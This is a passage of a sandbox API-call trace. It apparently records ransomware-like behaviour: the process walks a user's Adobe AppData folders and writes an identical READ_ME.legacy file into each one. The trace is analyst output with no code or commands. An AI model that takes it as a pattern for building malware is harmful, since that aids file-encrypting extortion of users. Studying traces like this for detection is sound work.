dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x768 [0140.801] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5852f8 | out: hHeap=0x520000) returned 1 [0140.801] WriteFile (in: hFile=0x768, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.802] CloseHandle (hObject=0x768) returned 1 [0140.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585628 | out: hHeap=0x520000) returned 1 [0140.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0140.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0140.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0140.802] FindNextFileW (in: hFindFile=0x60c0d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0140.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.802] GetLastError () returned 0x0 [0140.802] SetLastError (dwErrCode=0x0) [0140.802] GetLastError () returned 0x0 [0140.802] SetLastError (dwErrCode=0x0) [0140.802] GetLastError () returned 0x0 [0140.802] SetLastError (dwErrCode=0x0) [0140.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60fdc0 [0140.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60ff78 [0140.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fdc0 | out: hHeap=0x520000) returned 1 [0140.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ff78 | out: hHeap=0x520000) returned 1 [0140.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0140.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60fdc0 [0140.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0140.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0140.803] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3418 [0140.803] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.803] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x585628 [0140.803] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.803] GetLastError () returned 0x0 [0140.803] SetLastError (dwErrCode=0x0) [0140.803] GetLastError () returned 0x0 [0140.803] SetLastError (dwErrCode=0x0) [0140.803] GetLastError () returned 0x0 [0140.803] SetLastError (dwErrCode=0x0) [0140.803] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x584fc8 [0140.803] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\flash player\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x768 [0140.805] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584fc8 | out: hHeap=0x520000) returned 1 [0140.805] WriteFile (in: hFile=0x768, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.806] CloseHandle (hObject=0x768) returned 1 [0140.806] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585628 | out: hHeap=0x520000) returned 1 [0140.806] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3418 | out: hHeap=0x520000) returned 1 [0140.806] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0140.806] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0140.806] FindNextFileW (in: hFindFile=0x60c0d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Headlights", cAlternateFileName="HEADLI~1")) returned 1 [0140.806] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.806] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.806] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.807] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.807] GetLastError () returned 0x0 [0140.807] SetLastError (dwErrCode=0x0) [0140.807] GetLastError () returned 0x0 [0140.807] SetLastError (dwErrCode=0x0) [0140.807] GetLastError () returned 0x0 [0140.807] SetLastError (dwErrCode=0x0) [0140.807] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60fe38 [0140.807] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60ff78 [0140.807] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fe38 | out: hHeap=0x520000) returned 1 [0140.807] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ff78 | out: hHeap=0x520000) returned 1 [0140.807] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0140.807] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60fca8 [0140.807] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5568b0 [0140.807] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0140.807] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3468 [0140.807] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0140.807] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x584f40 [0140.807] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0140.807] GetLastError () returned 0x0 [0140.807] SetLastError (dwErrCode=0x0) [0140.807] GetLastError () returned 0x0 [0140.807] SetLastError (dwErrCode=0x0) [0140.807] GetLastError () returned 0x0 [0140.808] SetLastError (dwErrCode=0x0) [0140.808] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x584fc8 [0140.808] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\headlights\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x768 [0140.809] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584fc8 | out: hHeap=0x520000) returned 1 [0140.809] WriteFile (in: hFile=0x768, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.810] CloseHandle (hObject=0x768) returned 1 [0140.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584f40 | out: hHeap=0x520000) returned 1 [0140.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3468 | out: hHeap=0x520000) returned 1 [0140.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0140.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5568b0 | out: hHeap=0x520000) returned 1 [0140.810] FindNextFileW (in: hFindFile=0x60c0d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0140.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.810] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.810] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.810] GetLastError () returned 0x0 [0140.810] SetLastError (dwErrCode=0x0) [0140.810] GetLastError () returned 0x0 [0140.810] SetLastError (dwErrCode=0x0) [0140.810] GetLastError () returned 0x0 [0140.810] SetLastError (dwErrCode=0x0) [0140.810] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60fc58 [0140.810] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60fe38 [0140.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fc58 | out: hHeap=0x520000) returned 1 [0140.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fe38 | out: hHeap=0x520000) returned 1 [0140.810] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5568b0 [0140.810] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610068 [0140.811] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5854f8 [0140.811] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0140.811] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0140.811] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0140.811] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x610ba8 [0140.811] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0140.811] GetLastError () returned 0x0 [0140.811] SetLastError (dwErrCode=0x0) [0140.811] GetLastError () returned 0x0 [0140.811] SetLastError (dwErrCode=0x0) [0140.811] GetLastError () returned 0x0 [0140.811] SetLastError (dwErrCode=0x0) [0140.811] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x610878 [0140.811] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\linguistics\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x768 [0140.812] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610878 | out: hHeap=0x520000) returned 1 [0140.812] WriteFile (in: hFile=0x768, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.813] CloseHandle (hObject=0x768) returned 1 [0140.813] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610ba8 | out: hHeap=0x520000) returned 1 [0140.813] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0140.813] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0140.813] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5854f8 | out: hHeap=0x520000) returned 1 [0140.814] FindNextFileW (in: hFindFile=0x60c0d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 1 [0140.814] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.814] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.814] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.814] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.814] GetLastError () returned 0x0 [0140.814] SetLastError (dwErrCode=0x0) [0140.814] GetLastError () returned 0x0 [0140.814] SetLastError (dwErrCode=0x0) [0140.814] GetLastError () returned 0x0 [0140.814] SetLastError (dwErrCode=0x0) [0140.814] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610108 [0140.814] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60ff78 [0140.814] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610108 | out: hHeap=0x520000) returned 1 [0140.814] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ff78 | out: hHeap=0x520000) returned 1 [0140.814] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0140.814] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610108 [0140.814] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0140.814] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0140.814] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0140.814] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.814] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x6110f8 [0140.815] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.815] GetLastError () returned 0x0 [0140.815] SetLastError (dwErrCode=0x0) [0140.815] GetLastError () returned 0x0 [0140.815] SetLastError (dwErrCode=0x0) [0140.815] GetLastError () returned 0x0 [0140.815] SetLastError (dwErrCode=0x0) [0140.815] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6910 [0140.815] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\logtransport2\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x768 [0140.816] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6910 | out: hHeap=0x520000) returned 1 [0140.816] WriteFile (in: hFile=0x768, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.817] CloseHandle (hObject=0x768) returned 1 [0140.817] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6110f8 | out: hHeap=0x520000) returned 1 [0140.817] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0140.817] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0140.817] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567aa8 | out: hHeap=0x520000) returned 1 [0140.817] FindNextFileW (in: hFindFile=0x60c0d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6c9d6c9, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6c9d6c9, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6c9d6c9, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0140.817] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.817] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.817] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.817] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.817] GetLastError () returned 0x0 [0140.817] SetLastError (dwErrCode=0x0) [0140.817] GetLastError () returned 0x0 [0140.817] SetLastError (dwErrCode=0x0) [0140.817] GetLastError () returned 0x0 [0140.817] SetLastError (dwErrCode=0x0) [0140.817] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60fc30 [0140.817] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fc30 | out: hHeap=0x520000) returned 1 [0140.817] FindNextFileW (in: hFindFile=0x60c0d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Sonar", cAlternateFileName="")) returned 1 [0140.817] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.817] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0140.818] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.818] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0140.818] GetLastError () returned 0x0 [0140.818] SetLastError (dwErrCode=0x0) [0140.818] GetLastError () returned 0x0 [0140.818] SetLastError (dwErrCode=0x0) [0140.818] GetLastError () returned 0x0 [0140.818] SetLastError (dwErrCode=0x0) [0140.818] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x585970 [0140.818] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60fe38 [0140.818] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5850e8 [0140.818] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0140.818] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0140.818] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.818] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x6113a0 [0140.818] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.818] GetLastError () returned 0x0 [0140.818] SetLastError (dwErrCode=0x0) [0140.818] GetLastError () returned 0x0 [0140.818] SetLastError (dwErrCode=0x0) [0140.818] GetLastError () returned 0x0 [0140.818] SetLastError (dwErrCode=0x0) [0140.818] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x610d40 [0140.819] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\sonar\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x768 [0140.823] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610d40 | out: hHeap=0x520000) returned 1 [0140.823] WriteFile (in: hFile=0x768, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.824] CloseHandle (hObject=0x768) returned 1 [0140.824] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6113a0 | out: hHeap=0x520000) returned 1 [0140.824] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0140.824] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0140.824] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5850e8 | out: hHeap=0x520000) returned 1 [0140.824] FindNextFileW (in: hFindFile=0x60c0d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Sonar", cAlternateFileName="")) returned 0 [0140.824] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x585be0 [0140.824] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0140.824] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0140.824] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c98 | out: hHeap=0x520000) returned 1 [0140.824] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6cc3b55, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c158 [0140.825] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.825] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553c10 [0140.825] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.825] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0140.825] GetLastError () returned 0x12 [0140.825] SetLastError (dwErrCode=0x12) [0140.825] GetLastError () returned 0x12 [0140.825] SetLastError (dwErrCode=0x12) [0140.825] GetLastError () returned 0x12 [0140.825] SetLastError (dwErrCode=0x12) [0140.825] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0140.825] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d660 [0140.825] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0140.825] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x60fc30 [0140.825] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c398 [0140.825] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c398 | out: hHeap=0x520000) returned 1 [0140.825] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20090 [0140.825] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20090 | out: hHeap=0x520000) returned 1 [0140.825] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fc30 | out: hHeap=0x520000) returned 1 [0140.825] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0140.825] FindNextFileW (in: hFindFile=0x60c158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6cc3b55, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0140.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.826] GetLastError () returned 0x12 [0140.826] SetLastError (dwErrCode=0x12) [0140.826] GetLastError () returned 0x12 [0140.826] SetLastError (dwErrCode=0x12) [0140.826] GetLastError () returned 0x12 [0140.826] SetLastError (dwErrCode=0x12) [0140.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0140.826] RtlAllocateHeap (HeapHandle=0x520000, 